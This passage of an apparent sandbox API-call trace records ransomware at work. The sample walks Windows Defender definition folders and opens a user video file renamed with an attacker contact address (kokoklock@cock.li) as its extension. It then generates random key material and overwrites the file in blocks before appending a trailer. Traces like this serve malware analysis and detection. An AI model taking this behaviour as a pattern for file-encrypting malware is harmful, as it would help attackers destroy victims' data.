dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0175.489] FindNextFileW (in: hFindFile=0x3044f68, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26af3c42, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26af3c42, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26af3c42, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8f10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDlta.vdm", cAlternateFileName="")) returned 1 [0175.489] wcscmp (_String1="MpAsDlta.vdm", _String2=".") returned 1 [0175.489] wcscmp (_String1="MpAsDlta.vdm", _String2="..") returned 1 [0175.489] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f83f20 [0175.489] wcscpy (in: _Dest=0x2f83f20, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0175.489] wcscat (in: _Dest=0x2f83f20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\" [0175.489] wcscat (in: _Dest=0x2f83f20, _Source="MpAsDlta.vdm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm" [0175.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83f20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0175.492] FindNextFileW (in: hFindFile=0x3044f68, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26b66370, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26b66370, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26c24f7c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x563cd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAvBase.vdm", cAlternateFileName="")) returned 1 [0175.492] wcscmp (_String1="MpAvBase.vdm", _String2=".") returned 1 [0175.492] wcscmp (_String1="MpAvBase.vdm", _String2="..") returned 1 [0175.492] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f84200 [0175.492] wcscpy (in: _Dest=0x2f84200, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0175.492] wcscat (in: _Dest=0x2f84200, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\" [0175.492] wcscat (in: _Dest=0x2f84200, _Source="MpAvBase.vdm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm" [0175.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0175.493] FindNextFileW (in: hFindFile=0x3044f68, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26af3c42, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26af3c42, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26af3c42, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15910, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAvDlta.vdm", cAlternateFileName="")) returned 1 [0175.493] wcscmp (_String1="MpAvDlta.vdm", _String2=".") returned 1 [0175.493] wcscmp (_String1="MpAvDlta.vdm", _String2="..") returned 1 [0175.493] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f84090 [0175.493] wcscpy (in: _Dest=0x2f84090, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0175.493] wcscat (in: _Dest=0x2f84090, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\" [0175.493] wcscat (in: _Dest=0x2f84090, _Source="MpAvDlta.vdm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm" [0175.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0175.494] FindNextFileW (in: hFindFile=0x3044f68, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c24f7c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26c24f7c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26c4b1e3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc11740, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEngine.dll", cAlternateFileName="")) returned 1 [0175.494] wcscmp (_String1="MpEngine.dll", _String2=".") returned 1 [0175.494] wcscmp (_String1="MpEngine.dll", _String2="..") returned 1 [0175.494] FindNextFileW (in: hFindFile=0x3044f68, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c24f7c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26c24f7c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26c24f7c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14e318, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisBase.vdm", cAlternateFileName="")) returned 1 [0175.494] wcscmp (_String1="NisBase.vdm", _String2=".") returned 1 [0175.494] wcscmp (_String1="NisBase.vdm", _String2="..") returned 1 [0175.494] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xaa) returned 0x2f842b8 [0175.494] wcscpy (in: _Dest=0x2f842b8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0175.494] wcscat (in: _Dest=0x2f842b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\" [0175.494] wcscat (in: _Dest=0x2f842b8, _Source="NisBase.vdm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm" [0175.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f842b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0175.495] FindNextFileW (in: hFindFile=0x3044f68, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c24f7c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26c24f7c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26c24f7c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14e718, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisFull.vdm", cAlternateFileName="")) returned 1 [0175.495] wcscmp (_String1="NisFull.vdm", _String2=".") returned 1 [0175.495] wcscmp (_String1="NisFull.vdm", _String2="..") returned 1 [0175.495] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xaa) returned 0x2f84370 [0175.495] wcscpy (in: _Dest=0x2f84370, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0175.495] wcscat (in: _Dest=0x2f84370, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\" [0175.495] wcscat (in: _Dest=0x2f84370, _Source="NisFull.vdm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm" [0175.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0175.496] FindNextFileW (in: hFindFile=0x3044f68, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c24f7c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26c24f7c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26c24f7c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14e718, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisFull.vdm", cAlternateFileName="")) returned 0 [0175.496] FindClose (in: hFindFile=0x3044f68 | out: hFindFile=0x3044f68) returned 1 [0175.496] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022720) returned 1 [0175.496] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2138) returned 1 [0175.496] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2638) returned 1 [0175.496] RtlExitUserThread (Status=0x0) Thread: id = 2417 os_tid = 0x484 [0175.179] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fee8d0 [0175.179] wcscpy (in: _Dest=0x2fee8d0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup" [0175.179] wcscat (in: _Dest=0x2fee8d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup\\" [0175.179] wcscat (in: _Dest=0x2fee8d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup\\*" [0175.179] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020308 [0175.179] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup\\*", lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3044fa8 [0175.179] wcscmp (_String1=".", _String2=".") returned 0 [0175.179] FindNextFileW (in: hFindFile=0x3044fa8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.179] wcscmp (_String1="..", _String2=".") returned 1 [0175.179] wcscmp (_String1="..", _String2="..") returned 0 [0175.179] FindNextFileW (in: hFindFile=0x3044fa8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0175.179] FindClose (in: hFindFile=0x3044fa8 | out: hFindFile=0x3044fa8) returned 1 [0175.179] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020308) returned 1 [0175.179] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee8d0) returned 1 [0175.179] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2bd8) returned 1 [0175.179] RtlExitUserThread (Status=0x0) Thread: id = 2418 os_tid = 0x490 [0175.181] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fa2f98 [0175.181] wcscpy (in: _Dest=0x2fa2f98, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates" [0175.181] wcscat (in: _Dest=0x2fa2f98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\" [0175.181] wcscat (in: _Dest=0x2fa2f98, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*" [0175.181] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020308 [0175.181] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3044fa8 [0175.181] wcscmp (_String1=".", _String2=".") returned 0 [0175.181] FindNextFileW (in: hFindFile=0x3044fa8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.181] wcscmp (_String1="..", _String2=".") returned 1 [0175.181] wcscmp (_String1="..", _String2="..") returned 0 [0175.181] FindNextFileW (in: hFindFile=0x3044fa8, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0175.181] FindClose (in: hFindFile=0x3044fa8 | out: hFindFile=0x3044fa8) returned 1 [0175.181] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020308) returned 1 [0175.181] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2f98) returned 1 [0175.182] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3358) returned 1 [0175.182] RtlExitUserThread (Status=0x0) Thread: id = 2419 os_tid = 0x36c [0175.183] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan\\welcomescan.jpg")) returned 0x20 [0175.184] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg", dwFileAttributes=0x20) returned 0 [0175.184] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan\\welcomescan.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.184] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg", dwFileAttributes=0x20) returned 0 [0175.184] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0900) returned 1 [0175.184] RtlExitUserThread (Status=0x0) Thread: id = 2420 os_tid = 0x378 [0175.188] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\cazhh70 s6pqlpu_fzwt.flv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.189] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.190] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\cazhh70 s6pqlpu_fzwt.flv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0175.190] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x229ffec4 | out: lpFileSize=0x229ffec4*=84361) returned 1 [0175.190] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x14985, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.190] ReadFile (in: hFile=0x530, lpBuffer=0x229ffe98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x229ffe94, lpOverlapped=0x0 | out: lpBuffer=0x229ffe98*, lpNumberOfBytesRead=0x229ffe94*=0x4, lpOverlapped=0x0) returned 1 [0175.191] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.191] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0175.191] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054190 [0175.191] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054258 [0175.191] NtQuerySystemTime (in: CurrentTime=0x229ffe70 | out: CurrentTime=0x229ffe70*=132121213325139517) returned 0x0 [0175.191] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0xaebc8ea9 [0175.191] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x278eaeb0 [0175.191] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0xca88b649 [0175.191] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0xa7730853 [0175.191] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x82779fa9 [0175.191] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0xf8a1cf0b [0175.191] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x5c6b181 [0175.191] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x2f8e362f [0175.191] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x439c4309 [0175.191] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x4e19ce6e [0175.191] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x134c6061 [0175.191] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x6b830424 [0175.191] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x9052073 [0175.191] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0xc9b2f254 [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x4b2dc0f0 [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0xe673edb6 [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x7fb4d592 [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x845bcc56 [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x888e183c [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x4ebf76e4 [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x5d003751 [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0xb9fbbdf3 [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x3e3a9acd [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0xb088ea1e [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x1d6ffab5 [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0xb443c39e [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0xd1bffb92 [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x14efa842 [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x243e1d72 [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x11871b25 [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x71bbf3ed [0175.192] RtlRandom (in: Seed=0x229ffe7c | out: Seed=0x229ffe7c) returned 0x7a308de6 [0175.202] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.202] ReadFile (in: hFile=0x530, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x229ffe48, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x229ffe48*=0x4096, lpOverlapped=0x0) returned 1 [0175.203] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.203] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f874b8 [0175.203] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30134b8 [0175.203] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0175.203] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054168) returned 1 [0175.203] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe5830 [0175.203] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054140 [0175.204] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30542a8 [0175.204] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30542a8) returned 1 [0175.204] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b8) returned 1 [0175.204] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f874b8) returned 1 [0175.204] WriteFile (in: hFile=0x530, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x229ffe48, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x229ffe48*=0x4096, lpOverlapped=0x0) returned 1 [0175.204] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0175.204] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x14989, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.204] WriteFile (in: hFile=0x530, lpBuffer=0x3054140*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x229ffe80, lpOverlapped=0x0 | out: lpBuffer=0x3054140*, lpNumberOfBytesWritten=0x229ffe80*=0x20, lpOverlapped=0x0) returned 1 [0175.205] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054140) returned 1 [0175.205] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.205] WriteFile (in: hFile=0x530, lpBuffer=0x30542d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x229ffe94, lpOverlapped=0x0 | out: lpBuffer=0x30542d0*, lpNumberOfBytesWritten=0x229ffe94*=0x8, 